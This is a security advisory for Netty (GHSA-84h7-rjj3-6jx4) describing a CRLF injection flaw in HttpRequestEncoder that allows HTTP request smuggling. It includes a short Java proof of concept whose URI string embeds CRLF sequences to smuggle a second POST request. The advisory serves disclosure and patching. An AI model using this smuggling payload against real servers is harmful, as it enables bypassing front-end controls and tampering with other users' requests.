GHSA-84h7-rjj3-6jx4

Dashboard / Vulnerabilities / GHSA-84h7-rjj3-6jx4

GHSA-84h7-rjj3-6jx4

Summary: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Details: ### Summary The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. ### Details The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. ### PoC Simple reproducer: ```java public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec()); EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } }); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } } ``` ### Impact Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.

References: https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4, https://nvd.nist.gov/vuln/detail/CVE-2025-67735, https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94, https://github.com/netty/netty